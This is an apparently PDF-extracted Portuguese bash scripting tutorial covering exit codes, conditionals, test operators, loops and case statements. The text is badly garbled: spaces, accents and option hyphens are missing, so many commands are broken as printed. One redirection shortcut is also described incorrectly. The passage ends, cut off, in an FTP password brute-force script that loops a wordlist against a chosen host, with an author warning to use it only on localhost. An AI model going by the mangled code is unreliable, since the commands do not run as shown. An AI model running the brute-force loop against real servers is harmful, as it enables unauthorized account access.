finalizar.Essecdigorefleteacondioemqueoprogramafinalizou.Seocorreutudocertoeo
programaterminounormalmente,eleretorna0.Seocorreualgumproblema,oprogramaretornaum
cdigodiferentede0,geralmentevariandocomoproblemaocorrido.
Essecdigoderetornoextremamenteimportanteem shell script,poisassimque
testamosseumacertaaoocorreubemouteveproblemas.Essecdigoarmazenadopelobash
numavarivelchamada"?"(issomesmo,somenteosinaldeinterrogao;)).
Porexemplo,vamosexecutarum"ls"emumdiretrioqueexisteeverocdigoderetorno:
virtvs@mucuripe:~$ls/boot
System.mapboot.0300boot.bboot_message.txtchain.bconfigmapos2_d.b
virtvs@mucuripe:~$echo$?0
virtvs@mucuripe:~$

AdbeelGoesFilho

ShellScripts50

Ouseja,o"ls"foiexecutadonormalmente,retornando0.Agoravamosexecutlonumdiretrioque
noexiste:
virtvs@mucuripe:~$ls/diretorio_invalido
/bin/ls:/diretorio_invalido:Arquivooudiretrionoencontrado
virtvs@mucuripe:~$echo$?
1
virtvs@mucuripe:~$
Comoesperado,obtemosoretornodeerro1.
Algunsprogramastemmuitoscdigosderetorno.Porexemplo,oscdigosderetorno
do"pppd"voato19.Assimpossvelsaberporqueelefoifinalizado.Sevoccolocarumasenha
erradanopppdetentarconectar,elevaiterminarcomocdigo19.
manpppd
...
17ThePPPnegotiationfailedbecauseserialloopbackwasdetected.
18Theinitscriptfailed(returnedanonzeroexitstatus).
19Wefailedtoauthenticateourselvestothepeer.
...
Umdetalheimportante:quandoexecutamosumprogramaembackground,elesempreretornaum
cdigo0parao shell,mesmoquedurantesuaexecuoocorraalgumproblema.Assim,quando
executamosumprogramaembg,perdemosessafacilidadedetestarcomofoiseutrmino.
virtvs@mucuripe:~$ls/diretorio_invalido&
[1]230
virtvs@mucuripe:~$/bin/ls:/diretorio_invalido:Arquivooudiretrionoencontrado
[1]+Exit1/bin/ls$LS_OPTIONS/diretorio_invalido
virtvs@mucuripe:~$echo$?
0
Comovemos,aoterminar,eleemiteumamensagemdizendoquefinalizoucomcdigo1([1]+Exit
1)masquandotestamosavarivel"?",obashnosdiz"0".

12.Concluses
Comotodosos programas temqueterminarcomumcdigoderetornoque tenha
algumsignificado,nossos shell scriptstambmteroquefinalizarindicandooqueaconteceu,se
ocorreutudobemouseouveerro.Masissodiscutiremosmelhormaisprafrente.
O importante aqui saber que todos os programas terminam com um cdigo de
retorno,osquaisusaremosnosnossosscriptsparatestarotrminodosprogramas.

AdbeelGoesFilho

ShellScripts51

13.Exercicios
1. Qualadiferenaentreopipe(|)eopontoevirgula(;)?
2. Digiteocomandoabaixoemduaslinhasunidaspelometacaractere\.
$cat/home/lab/texto1/home/lab/text2
3. Liste,paginando,todososprocessosqueestosendoexecutados.
4. Mostretodososprocessosdousurioroot.
5. Oquefazocomand:$psef|cutc9
6. Quantaspessoasestoexecutandooprocessoksh?
7. Quantossubdiretriosexistemdentrododiretrio/usr?

AdbeelGoesFilho

ShellScripts52

Capitulo3.ComandosCondicionais
Trataremos agora de "comandos condicionais". Condicionais so comandos que
avaliamumaexpresso.Seelaforverdadeira,umadeterminadarotinaexecutada.Casocontrrio,
outrarotinapodeserexecutada.
Ofamoso"if"
Obashnosoferece,entreoutros,ocomandoif(eleumcomandoembutidonobash
enoumprogramacomoo"ls",o"cp"etc.).Aformamaissimplesderepresentarumacondicional
utilizandooif,daseguinteformabsica:
if[condio];
thencomandos1;
elsecomandos2;
fi;
Se[condio]forverdadeira,oscomandos1soexecutados.Seforfalsa,oscomandos2
soexecutados.Masparaoif,oqueumacondioverdadeiraouumafalsa?
Como foi explicado anteriormente, TODO comando em Unix tem um cdigo de
retorno.Geralmenteocdigo"0"(zero)significaqueocomandofoiexecutadoperfeitamentee
terminoubem.Cdigosmaioresquezerosignificamquealgumacoisadeerradoocorreu.
assimqueoifverificaumacondio.Seoseucdigoderetornoforzero,entoela
considerada verdadeira. Caso contrario, ela falsa. Mas ento a [condio] tem que ser um
comando,certo?Exatamente.Vamosexemplificar:
virtvs@mucuripe:~$ifls/boot;thenecho"Odiretrioexiste.";elseecho
"Diretrioinvlido.";fi;
System.mapboot.0300boot.bboot_message.txtchain.bconfigmapos2_d.b
Odiretrioexiste.
Oquefizemos?
Logoapsoif,nscolocamosumcomando:"ls/boot".Oqueoiffaz?Eleexecuta
essecomando(porissoquetemosasegundalinhacomeadapor"System.map",queocontedo
domeudiretrio/boot)eavaliaoseucdigodesada.Comoo"ls"foiexecutadocorretamente,ele
retornazero,significandoverdadeiroparaoif,queexecutaocomandologoapso"then",ouseja,
oecho"Odiretrioexiste.",mostrandoessamensagemnoconsole.
Agoravamoscolocarumdiretrioquenoexiste:
AdbeelGoesFilho

ShellScripts53

virtvs@mucuripe:~$ifls/dir_invalido;thenecho"Odiretrioexiste.";
elseecho"Diretrioinvlido.";fi;
/bin/ls:/dir_invalido:Arquivooudiretrionoencontrado
Diretrioinvlido.
Algicaamesma.Executao"ls/dir_invalido",queretornaumcdigomaiorque
zero.Oifavaliacomofalsoeexecutaocomandoapsoelse:echo"Diretrioinvlido".
Nspoderamosomitirasegundalinhadosdoisexemplo(aquemostraocontedode
/bootnoprimeiroexemploeamensagemdeerroemitidapelolsdizendoque/dir_invalidono
existenosegundo),apenasredirecionandoassadaspara/dev/null,ouseja:
virtvs@mucuripe:~$ls/boot1>/dev/null2>/dev/null
Nota:Temummacetequepossuiomesmoefeito.Emvezdecolocar:"1>/dev/null2>/dev/null"
podemoscolocar"2&>1",quemenoremaissimples.
Comando"test"
Aprendemosqueoifavaliaacdigoderetornodeumcomando.Muitasvezes,para
nodizeramaioria,nsqueremosavaliar"expresses",ouseja,verificarseumavariveliguala
outra,seelaestavaziaetc.
Paraisso,nstemosoutrocomandochamado"test".Elefuncionadaseguintemaneira:
test[expresso]
Otestpodetestaroperaesdetrstipos:strings,arquivosearitmticas.
Expressesusandostrings:
O test pode apenas comparar strings, ou seja, verificar se uma igual a outra, e
verificarseumastringvaziaouno.Vamosaosexemplosparafacilitaroentendimento:
virtvs@mucuripe:~$test"a"="a"
virtvs@mucuripe:~$echo$?
0
virtvs@mucuripe:~$test"a"="b"
virtvs@mucuripe:~$echo$?
1
virtvs@mucuripe:~$test"a"!="b"
virtvs@mucuripe:~$echo$?
0

AdbeelGoesFilho

ShellScripts54

Aquicomparamosastring"a"com"b".Comoeradeseesperar,oprimeiroretornouverdadeiro
(zero),poisa=aeosegundoretornoufalso.Noterceiro,osmbolo"!="significa"diferente".
virtvs@mucuripe:~$testz"neo"
virtvs@mucuripe:~$echo$?
1
virtvs@mucuripe:~$testz""
virtvs@mucuripe:~$echo$?
0
virtvs@mucuripe:~$testn"neo"
virtvs@mucuripe:~$echo$?
0
virtvs@mucuripe:~$testn""
virtvs@mucuripe:~$echo$?
1
Acimatemosostestesdevazio.Aopo"z"verificasevazio,e"n"senovazio.
Noprimeirocaso,eletestase"neo"umastringvazia,retornandofalso.Jnosegundocaso,como
""vazia,retornaverdadeiro.Oterceiroequartososemelhantesaosprimeiros,mascom"n".
Expressescomarquivos:
Os testes que podem ser feitos com arquivos so para verificar determinadas
caracteristicas,comoseeleexiste,seexecutavel,seumlinksimblico,seumdiretrioetc.
Aseguir,temosumalistadevriasopesdisponveis:
barquivo
carquivo
darquivo
earquivo
farquivo
sarquivo
harquivo
parquivo
Sarquivo
karquivo
rarquivo
warquivo
xarquivo
Oarquivo
Garquivo
Narquivo

Verdadeirosearquivoumarquivodebloco,como/dev/hda.
Verdadeirosearquivoumarquivodecaracter,como/dev/tty1.
Verdadeirosearquivoumdiretrio.
Verdadeirosearquivoexiste.
Verdadeirosearquivoexisteeumarquivocomum.
Verdadeirosearquivoexisteenovazio.
Verdadeirosearquivoumlinksimblico.
Verdadeirosearquivoum"namedpipe"(fifo,lifo,etc).
Verdadeirosearquivoum"socket".
Verdadeirosearquivotemseu"stickybit"ligado.
Verdadeirosearquivopodeserlidopelousurioatual.
Verdadeirosearquivopodeserescritopelousurioatual.
Verdadeirosearquivopodeserexecutadopelousurioatual.
Verdadeirosearquivopertenceaousurioatual.
Verdadeirosearquivopertenceaogrupodousurioatual.
Verdadeirosearquivofoimodificadodesdeaultimavezquefoilido.

Algunsexemplos:
AdbeelGoesFilho

ShellScripts55

Aopo"e"verificaapenasseumarquivoexisteeaopo"d"verificaseoarquivo
umdiretrio.
Aopo"nt"verificaseoprimeiroarquivomaisnovoqueosegundo(nt=newer
than)e"ot"verificaseoprimeiromaisvelhoqueosegundo(od=olderthan):
virtvs@mucuripe:~$teste/vmlinuz
virtvs@mucuripe:~$echo$?
0
virtvs@mucuripe:~$testd/vmlinuz
virtvs@mucuripe:~$echo$?
1
virtvs@mucuripe:~$teste/usr
virtvs@mucuripe:~$echo$?
0
virtvs@mucuripe:~$testd/usr
virtvs@mucuripe:~$echo$?
0
virtvs@mucuripe:~$test/usrnt/vmlinuz
virtvs@mucuripe:~$echo$?
0
virtvs@mucuripe:~$test/usrot/vmlinuz
virtvs@mucuripe:~$echo$?
1
#!/bin/bash
if[$1=$2];then
echoAsstringssoiguais.
fi
$./strcmp1.shmeleu
./strcmp.sh:[:meleu:unaryoperatorexpected
Notequeotestdeuumerro,eporissoretornouumnozeroparaoif.Observeoseguinte:
$catstrcmp2.sh
#!/bin/bash
if[$1=$2];then
echoAsstringssoiguais.
else
echoAsstringssodiferentes.
fi
$./strcmp2.shmeleu
AdbeelGoesFilho

ShellScripts56

./strcmp.sh:[:meleu:unaryoperatorexpected
Asstringssodiferentes.
Aconteceuamesmacoisaquenoprimeiroexemplo,squeagoratemosumelsepra
serexecutadocasoaexpressodoifretornefalso(ounozero).Umasoluopraquenodeste
erronotestusaraspasduplas.Vejas:

#!/bin/bash
if["$1"="$2"];then
echoAsstringssoiguais.
else
echoAsstringssodiferentes.
fi
VoctambmNOdeveescrevertudojunto,assim:$1=$2ou"$1"="$2"
Destamaneiraotestvairetornarsempreverdadeiro,poisseriacomosevocestivessepassado
somenteumparmetroparaele.
#!/bin/bash
NUM1=1
NUM2=00001
if["$NUM1"="$NUM2"];
then
echo"Ovalorstringde$NUM1e$NUM2soiguais."
else
echo"Ovalorstringde$NUM1e$NUM2sodiferentes."
fi
if[$NUM1eq$NUM2];
then
echo"Ovalornumricode$NUM1e$NUM2soiguais."
else
echo"Ovalornumricode$NUM1e$NUM2sodiferentes."
fi
Parafazerclculosaritmticospodemosfazeroseguinteesquema
$echo$[2*3+4]
10
$echo$[2*(3+4)]
14
AdbeelGoesFilho

ShellScripts57

Basta colocar a expresso entre $[ ... ]. Voc tambm pode usar $((cifrodois
parnteses))masoscolchetessobemmaisprticos.

Sevocpretendeusarmaiscoisarelacionadaamatemtica,entoaprendaausaro
comando"bc".Massevaificarsno"papaimame"dasoperaesbsicaspodeficarusando$(())
ou$[]
(OBS.:emoperaesdedivisoosresultadosnosomuitosatisfatrios).
operadoreslgicos(ANDeOR)
Parausarosoperadoreslgicosbastausar"a"paraANDe"o" paraOR.Muito
simples.OexemploaseguirusaoANDetambmusaumnovotipodecomandodecontrole,o
"elif",queamesmacoisaque"elseif",squesevocusar"elseif"vaiprecisardeum"fi"para
fechar.Oelifnoprecisadisso.
Presteatenoquefcildeentenderparaquemtemnoodealgoritmo:
#!/bin/bash
readp"Entrecomoprimeironmero:"NUM1
readp"Entrecomosegundonmero:"NUM2
readp"Entrecomoterceironmero:"NUM3
#Observeo"a"(AND)naexpressoabaixo
if[$NUM1le$NUM2a$NUM1le$NUM3];then
MENOR=$NUM1
if[$NUM2le$NUM3];then
MEIO=$NUM2
MAIOR=$NUM3
else
MEIO=$NUM3
MAIOR=$NUM2
fi
elif[$NUM2le$NUM3];then
MENOR=$NUM2
if[$NUM1le$NUM3];then
MEIO=$NUM1
MAIOR=$NUM3
else
MEIO=$NUM3
MAIOR=$NUM1
fi
else
MENOR=$NUM3
if[$NUM1le$NUM2];then
MEIO=$NUM1
MAIOR=$NUM2
AdbeelGoesFilho

ShellScripts58

else
MEIO=$NUM2
MAIOR=$NUM1
fi
fi
echo"$MENOR<$MEIO<$MAIOR"
Ocomandolet
O let um comando embutido no bash (e isto quer dizer que se voc quiser
informaes sobre ele tem que ver na manpage do bash, mais especificamente no tpico
ARITHMETICEVALUATION).Elebastantetilparaquemestacostumadocomprogramao
C,poissuasintaxesemelhante,massusadoparaexpressesaritmticas.
Comestecomandovocpodecompararvaloresnumricoscomossinais<,>,<=,>=,
==,e!=.EmaisbastantecoisacomumemlinguagemC(comoporexemploo++eo).Alguns
exemplosdoquevocpodefazer:
letvar++
letvar
let"$num>2"

#equivalentea"var=$[$var+1]"
#equivalentea"var=$[$var1]"
#equivalentea"[$numgt2]"

Outracoisainteressantequevocpodesubstituir
let"expressao"

por

((expressao))

Portantoosexemplosacimapoderiamserfeitosassim:
((var++))
((var))
(($num>2))
Vejaestescriptabaixoapenasparaentenderautilidadedolet:
Exemplo:
#!/bin/bash
if(($#!=2));then#poderiaser:iflet"$#!=2"
echo"Uso:`basename$0`N1N2"1>&2
exit1
fi
if(($1>$2));then#poderiaser:iflet"$1>$2"
echo"$1maiorque$2"
elif(($1==$2));then#poderiaser:eliflet"$1==$2"
echo"$1iguala$2"
AdbeelGoesFilho

ShellScripts59

else
echo"$1menorque$2"
fi
4.

Tomadasdedecisocom&&e||

Esta maneira de tomar decises bem compacta, mas no aceita "else". Eu,
particularmente,prefirousarestaestruturaquandovoufazerumatomadadedecisoenopreciso
de"else".Amaneiradeusar:
comando1&&comando2
comando1||comando2
O && executa o primeiro comando e somente se este retornar 0 (no ocorrer
problemas)osegundoserexecutado.O||executaoprimeirocomandoesomenteseesteretornar
nozero(ocorrerproblemas)osegundoserexecutado.
Vejaumexemplobemsimples:
$[d~/tempdir]||mkdir~/tempdir
Comovocdeveestarlembrado,"[d~/tempdir]"omesmoque"testd~/tempdir"e
retornar0seexistirodiretrio~/tempdir.Casonoexistaeleretornar1,enestecasoo"mkdir
~/tempdir"serexecutado.
Vejamosumparecidousandoo&&:
$[d~/tempdir]&&lsld~/tempdir
Listas
Aslistasdecomandosservemparaagruparcomandos.Podemserrepresentadaspor
(parenteses)ou{chaves}.Adiferenaqueos(parenteses)executamoscomandosnum shell a
parteeas{chaves}executamnoshellatual.
Executecomandoaseguiretenteentendlo(estcerto...sovrioscomandos,mas
inicialmenteencaradocomumcomandos).
Exemplo:
[d/usr/doc]&&{
echo"Odiretorioexiste"
echo"vejaoseuconteudo"
cd/usr/doc
ls
}
Eobservequeaofinaldaexecuovocestarnodiretrio/usr/doc,oquecomprova
quecomas{chaves}oscomandossoexecutadosno shell atual,sevoctrocaras{chaves}por
AdbeelGoesFilho

ShellScripts60

(parnteses)observarqueoseudiretrionosealterar.
FYI:parasaberodiretrioatualocomandoaserusadoo"pwd".
ExpressesAritmticas
Expresses aritmticas consistem com comparar dois nmeros, verificando se so
iguais,ouseoprimeiromaiorqueosegundoetc.
Infelizmentenopodemosapenasutilizarossmbolosconhecidosparaigual(=),maior
que (>), menor que (<) etc. Temos que usar operadores reconhecidos pelo "test". Assim, no
podemosfazer:"test1=1",devemosutilizarooperador"eq"(equal):"test1eq
1".Aseguir,temosumalistadosoperadores:
eq(equal):Igual;
ne(notequal):NoIgual(diferente);
lt(lessthan):Menorque(<);
le(lessthanorequal):Menorouigual(<=);
gt(greaterthan):Maiorque(>);
ge(greaterthanorequal):Maiorouigual(>=);
Algunsexemplos:
virtvs@mucuripe:~$test1lt2
virtvs@mucuripe:~$echo$?
0
virtvs@mucuripe:~$test1gt2
virtvs@mucuripe:~$echo$?
1
virtvs@mucuripe:~$test2gt1
virtvs@mucuripe:~$echo$?
0
virtvs@mucuripe:~$test2ge2
virtvs@mucuripe:~$echo$?
0
Parafinalizar,vamosfazerduasconsideraes.Aprimeiradequeocomando"test"podeser
substituidoporumpardecolchetes[].Assim,ocomandotest"a"="b"podeserescritocomo["a"
="b"].
Essasegundanomenclaturaficamaisfcilesimples,principalmentequandoestamosutilizandoIF:
if[e/vmlinuz];maisintuitivoesimplesqueifteste/vmlinuz;.
Asegundaconsideraoque,obviamente,podemosutilizarvariveisnolugardos
AdbeelGoesFilho

ShellScripts61

argumentos (caso contrrio, ficaria difcil utilizar comandos de condicionais em shell script).
Assim,setivermosduasvariaveis,valor1=5evalor2=8:
["$valor1"="$valor2"],["$valor1"lt"$valor2"]etc.
importantecolocarmososvaloresentreaspasduplas("),poisassimobashpode
substituiroqueseencontradentrodessasaspas.Secolocarmosentreaspassimples('),impedimoso
bash de alterar o que se encontra dentro delas. Se noutilizarmos as aspas duplas, vamos ter
problemas,principalmenteaotrabalharmoscomstring.
Por exemplo, queremos comparar dois nomes, que se encontram em duas
variaveis:nome1="fulano de tal" e nome2="ciclano". Montando nossa expresso condicional:
["$nome1"="$nome2"].Obashirexpandirissopara:["fulanodetal"="ciclano"],ficando
claramentedefinidosoprimeiroeosegundoargumento.
Agora,senousarmosaspas:[$nome1=$nome2].Obashirexpandirissopara:
[fulanodetal=ciclano].Percebaqueosargumentossemisturameobashnovaisaberoque
comparar.Porissoimportantecolocarmososargumentosentreaspasduplas.
Concluso
Resumindo,aprendemosnaauladehojecomoutilizarcomandoscondicionais.Isso
serfundamentalnosprximoscapitulos,ondeiremostrataroscomandosdelao,comoowhile.

AdbeelGoesFilho

ShellScripts62

Capitulo4.ComandosdeRepetio
Vamosaprenderagorasobrecomandosdelaocomoowhile,for,caseeselect.Eles
nospermitemexecutaralgunscomandosdiversasvezes,sobdeterminadascondieseatmontar
menuzinhosparainteragircomousurio.

14.while
Este provavelmente o comando de lao mais utilizado em programao. Seu
entendimento simples. Ele testa uma condio (como faz o IF) e executa um conjunto de
comandosseestacondioforverdadeira.Apsaexecuodessescomandos,eletornaatestara
condioeseestaforverdadeira,elereexecutaoscomandoseassimpordiante.
Suasintaxeaseguinte:
while[condio];
do
comando1;
comando2;
...
done;
Oparmetro[condio]funcionaexatamenteigualaodoIF.
Bom,vamosaoexemplomaissimplesdowhile:umcontador.
x=0
while["$x"le10];
do
echo"Execuonmero:$x"?;
x=$((x+1));
done;
Analisando:
Naprimeiralinhatemosacondio:enquantoovalordavarivelx($x)formenor
igual(le)a10,faa:mostre"Execuonmero:"eovalordex($x).Faax=x+1.Issonobash
feitopelocomando$(()).Elerealizaoperaesalgbricascomvariveis.Nocasoacima,estamos
somandox+1ecolocandooresultadonoprpriox.

AdbeelGoesFilho

ShellScripts63

Presteateno,queaslinhasdowhileprecisamdeum";"paraterminar,excetoaque
contmo"do",poiselerepresentaocomeodoblocodecomandos.
Quandoexecutamososcriptacima,temosumacontagemde1at10:
virtvs@mucuripe:~$x=0;while["$x"lt10];dox=$((x+1));echo
"Execuonmero:$x";done;
Execuonmero:1
Execuonmero:2
...
Execuonmero:10
virtvs@mucuripe:~$
O while temmuitautilidadeemprogramao,masficadifcildarexemplosusando
somenteele,poisgeralmenteeleestassociadoaexecuodeoutrosprogramaserotinasmais
complexas.
Eu costumo usar ele, por exemplo, quando quero que o napster fique tentando
conectar,poisquandoelevaitentarconectaroservidorenoconsegue,elesimplesmentetermina.
Aeucolocoowhiletestandoacdigoderetornodele(lembramdavarivel$?)eenquantoestiver
diferentedezero(onapsterterminoucomerro),eleficaexecutandoonapster:
?=1;while["$?"ne"0"];do./nap;done;
Ocomando"?=1"tentaatribuir1avarivel?.Issoprovocaumerro,poisavarivel?
somentedeleitura.Issonecessrioparaque?Contenhaalgodiferentede0,poissenoowhile
noexecutaaprimeirainterao.

15.for
Oforsemelhanteaowhileusadocomoumcontador.necessriofornecerumalista
denomeseeleexecutaoscomandosparacadanomenalista.Parecemeioconfuso,massimples.
Vejaasintaxe:
for<var>in<lista>;
do
comandos
done;
O for associa o primeiro item da lista de nomes varivel <var> e executa os
comandos.Emseguida,associanovamenteosegundoitemdalista<var>eexecutanovamenteos
comandos...eassimpordiante,atacabaralista.
Vejaoexemplo:

AdbeelGoesFilho

ShellScripts64

virtvs@mucuripe:~$forxinCompraVendaAluguel;
doecho$x;done;
Compra
Venda
Aluguel
Ouseja,primeiroelecoloca"Compra"navarivelxeexecutaoscomandos,nocaso,"echo$x",e
assimpordiante.Podemosfacilmenteimplementarumcontador,usandoemconjuntocomofor,o
programinha"seq".Elesimplesmentegeraumaseqnciadenmeros.Porexemplo,"seq10"gera
umaseqnciade1at10.Assim,podemosuslonofor:
forxin$(seq10);doecho$x;done;
Essecomandosemelhanteaocontadorimplementadocomowhile.Primeirooxvale
1eoforexecutaoscomandos.Depoisxvale2eelereexecutaoscomandos...
Vamosusaroforpararenomearosarquivodeumdiretrio,mudandotodososarquivo
terminadosem".mp3"para".mp3.bak".
forxin*;do
mv"$x""${x}.bak";
done;
forxin*.mp3;do
if[e"$x"];
thenmv"$x""${x}.bak";
fi;
done;
No local de <lista> nos colocamos "*.mp3". Isso diz ao bash para expandir
(transformar)elenalistadearquivosterminadoscom".mp3".Senohouvernenhumarquivocom
essaterminao,obashnofaznada,ficandoparaoforastring"*.mp3".Porissoprecisamosdoif
paratestarseoarquivoexiste.Experimentenoseusistema.echo*.mp3vaimostrarosarquivosno
diretrioatualcomterminaomp3,massemquebradelinhaentreeles,ouseja,umnomeapso
outro.Senohouvernenhumarquivocomterminaomp3,eleapenasvaimostrar"*.mp3".
Bem, voltando ao for, ele vai atribuir a "x" cada nome na lista de arquivos com
terminao".mp3"eexecutaroscomandosseguintes.Primeiroeletestaparaverseoarquivoexiste
(if[e"$x"];),eseexistir,renomeiaeleparaoseuprprionomeacrescidode".bak"(
${x}.bak).
Resumindo, o for faz isso: voc fornece uma lista de nomes para ele e ele vai
atribuindoessesnomes,emordemeumporvez,varivel<var>eexecutaoscomandosentreo
"do"eo"done;".

Agoraparausarmosumforumpoucoparecidocomodaslinguagensdeprogramao
convencionais usamos um comandinho chamado "seq". Ele funciona basicamente da seguinte
forma:

AdbeelGoesFilho

ShellScripts65

$seq110
1
2
3
4
5
6
7
8
9
10
#podeseremordemdecrescentetambm:
$seq101
10
9
8
7
6
5
4
3
2
1
Examplo:
#!/bin/bash
if[$#ne1];then
echo"Uso:`basename$0`n"
echo"Onde'n'umnmerointeiroqualquer"
exit1
fi
forOPin`seq110`;do
echoe"$1+$OP=$[$1+$OP]\t$1$OP=$[$1$OP]"
done
echo
forOPin`seq110`;do
echoe"$1*$OP=$[$1*$OP]\t\
$1/$OP=`echo"scale=2;$1/$OP"|bc`"
done
AdbeelGoesFilho

ShellScripts66

16.until
igualaowhile,excetoporumdetalhezinho.Vejaaexpressobsicaesaber:
until<expresso>;do
<comandosqueseroexecutadosenquanto<expresso>retornarFALSO>
done
Leiadireitinho:comandosqueseroexecutadosenquanto<expresso>retornarFALSO!;)
Exemplo:
#!/bin/bash
CONT=10
until[$CONTeq0];do
echone"$CONT\t"
letCONT
done
echo

17.case
Ocaseestmaisparaumcomandocondicionaldoqueparacomandodelao,visto
queelenoexecuta"loopings"comoowhileeofor.Elegeralmenteutilizadocomosubstituio
devriosIFs..Umexemploclssicoemuitoutilizadoquandovocprecisatestarumparmetro
fornecido na linha de comando. O case utilizado desta forma em scripts de inicializao de
serviosdosistema.Voumostrarasintaxeememseguidaumscriptqueinicialize/reinicializeou
parealgumservio(comoosendmail,apache,bind,etc).
Sintaxe:
case<parmetro>in
<opo1>)
<comandos1>
;;
[opo2])
<comandos2>
;;
*)
<comandossenofornenhumadasopes>
;;
AdbeelGoesFilho

ShellScripts67

esac
Vamosasexplicaes.Ocasepegaastringfornecidaem<parmetro>ecomparacom
<opo1>.Seforemiguais,eleexecuta<comandos1>esaifora.Casocontrrio,elecompara
<parmetro>com<opo2>eassimpordiante.Caso<parmetro>nosejaigualanenhumadas
opes,eleexecutaoscomandosdaopo"*",seesteexistir.Prestematenoaalgunsdetalhesna
sintaxe.Deveexistirum")"apscadaopoetambmum";;"apstodososcomandosdecada
opo.Vejamoexemploabaixo:
case"$1"in
'start')
echo"Iniciandooservio..."
<comandosparainiciaroservio>
;;
'restart')
echo"Reinicializandooservio..."
<comandosparareinicializaroservio>
;;
'stop')
echo"Parandooservio..."
<comandosparapararoservio>
;;
*)
echo"Opoinvalida!"
echo"Asopesvlidasso:start,stoperestart"
;;
esac
Ocaseserveexatamenteparaisso,ouseja,evitarotestedevriosIfs.Nocasoacima,
teramosqueutilizar3Ifs.Mesmoseoprimeirojfosseverdadeiro,obashiriatestarosegundoeo
terceiro,ouseja,iaperdertempodesnecessariamente.Jnocaseissonoacontece.Apsentrarem
umaopoeexecutarseuscomandos,elejpulaforadocasesemtestarasoutrasopesabaixo.

18.breakecontinue
Estescomandossoteisquandousamosloops.
break

Quebraaexecuodoloop.Paraentendernadamelhorqueumexemplo:

AdbeelGoesFilho

ShellScripts68

Examplo:
#!/bin/bash
#`true`sempreretornaverdadeiro
whiletrue;do
readp"Tenteadivinharonmero:"NUM
["$NUM"eq666]&&break
done
echoe"\nVocacertou!\n"
Oqueobreakfazpularasequnciadeexecuodoscriptparaoquevierdepoisdo"done".Ele
tambmaceitaargumento,daseguinteforma:"breakn",onde'n'umnmerointeiroqueindica
quantos"done's"pular.
continue
Ocontinueinterrompeoloopefaznovamenteotestedocomandoqueestcontrolandooloop(for,
while,etc.).Vejaesteexemplo:
Examplo:
#!/bin/bash
[$1]||{echo"Entrecomo(s)nome(s)doarquivo(s)";exit1;}
forFILEin$@;do
[f$FILE]||{
echoe"\"$FILE\"noumarquivo\n"
continue
}
cat$FILE>>AllFiles.txt
echoe"\n\n\n=============\n\n\n">>AllFiles.txt
done
echo"Feito!"
Oqueocontinuefazvoltarlparaantesdo"do"prafazerotestenovamente.Ele
tambmaceitaargumentonoestilo"continuen"paraindicarquantos"do's"voltar.

AdbeelGoesFilho

ShellScripts69

19.Redirecionandoloops
Lendoolivro"Linux:ProgramaoShell"(verReferncias)euaprendiumasformas
de usar redirecionamento para loops. Vou tentar passar os esquemas aqui atravs de exemplos
meramente ilustrativos. Vamos a eles, lembrando daqueles conceitos passados no tpico 3.
(principalmentesobreoreadesobreosredirecionamentos).
"pipeando"paraowhile
Vamosimaginarumarquivoondeeutenhoosnomesdealgunsamigosmeusearegio
ondeelesmoram.Comoalgunsamigosmoramemumamesmaregioeunovouficarrepetindoa
regioparacadaum.Portantooarquivoficaassim:
#############################
#listadeamigoseestados#
#############################
#
#OBS.:ISSONOUMSCRIPT!
#
#LinhasqueCOMEAMcom'#'seroconsideradas
#comentriospeloscript"listamigos.sh".
#
#Usedaseguinteforma:
#REGIAOamigo1amigo2amigo3amigoN...
#
NordesteslaternashleonxfeSc2
Sudestemodulehekodangewsmanalaurablindbardklogd
Sul evillordemmanuele
Agoravejaoscriptqueusarasinformaescontidasnoarquivo"amigos.regiao":
#!/bin/bash
#oegrepabaixovaipegaroarquivo"amigos.regiao"
#semexibiraslinhasquecomecemcomumcaractere'#'
#(consideradocomentrio)esemmostrarlinhasvazias,
#emseguidavairedirecionarasadaparaaentradado
#readqueestlnowhile(relembresedoreadno
#tpico3.2.)
egrepv"^#|^*$"amigos.regiao|
AdbeelGoesFilho

ShellScripts70

whilereadREGIAONOMES;do
echoe"\e[1m>Amigosdo$REGIAO:\e[m"
foramigoin$NOMES;do
echo"$amigo"
done
echo
done
Masacoisanotosimplesassim...Sedentrodoloopvocquisesseusarocomando
readparalerdoteclado,serianecessriopegaraentradade"/dev/tty".Sabendoqueo/dev/ttyo
terminalquevocestusando.Sevoctivermuitosamigosnoarquivo"amigos.regiao"novai
conseguirvertodos,poisalistanocabernumatelas.Nestecaso,oscriptaseguirsermelhor
queo"listamigos.sh".
#!/bin/bash
egrepv"^#|^*$"amigos.regiao|
whilereadREGIAONOMES;do
echoe"\n\e[32;1m>Amigosdo$REGIAO:\e[m"
foramigoin$NOMES;do
echoe"\e[1m$amigo\e[m"
done
echone"\nEntre<ENTER>paracontinuarou'sair'parasair:"
readQUIT</dev/tty
["$QUIT"="sair"]&&exit
done
Sequisercomprovarcomseusprpriosolhosanecessidadedepegaraentradade
"/dev/tty"sretiraro"</dev/tty"naquelereaddentrodoloop.
OBS.:Curiosamenteoexitdentrodeumloopquerecebedadosdeumpipefuncionacomosefosse
umbreak.Pracomprovarissocoloquenofinaldoscriptlistamigos2.shum"echoblablabla"e
quandooscriptmostrar"Entre<ENTER>paracontinuarou'sair'parasair:"entrecom'sair'.

Issoocorreporqueduranteo"pipeamento"oscomandossoexecutadosnumsubshell
(umshellaparteoushellfilho,comopreferir),eoexitfazsairdestesubshell.
Vejamosumexemploondevocverqueoexitfuncionacomoobreak:
#!/bin/bash
#
##################################################################
#***********
#*ATENO*
#***********
#Nouseestescriptparaatacarservidoresremotos!Eledeixar
#arquivosdelogimensos!Useoapenasemlocalhost(127.0.0.1)
#evejavocmesmoosrastrosdeixadosnosarquivosdelog.
AdbeelGoesFilho

ShellScripts71

##################################################################
#
#Estecdigosprailustraodotexto
#"ProgramaoemBourneAgainShell",
#Naprticamesmoelenomuitotil.Sequiserfazerumataquedeforabruta
#maiseficientefaaemC.
#VejamaissobreataquesdeforabrutaemumtextoqueoNashLeonfezem
#<http://unsekurity.virtualave.net>
#
#verificaseoparmetropassadoumarquivo
[f"$1"]||{
echoe"\e[1mErronapassagemdeparmetros\e[m"
echo"Uso:`basename$0`wordlist"
exit1
}
WL="$1"
echoe"\e[36;1m
\e[37;1m
ataquedeforabrutaviaftp\e[36;1m
\e[m
"
readp"Host:"HOST
readp"Username:"USER
cat$WL|
whilereadPASS
do
#230onmeroquerecebemosquandoentramoscomsucessoviaftp
ftpivn<<EoF|grep"^230"&>/dev/null
open$HOST
user$USER$PASS
bye
EoF
#$?contmocdigoderetornodogrep
[$?eq0]&&{
echoe"\n\e[36;5;1mOataquefoibemsucedido!\e[m"
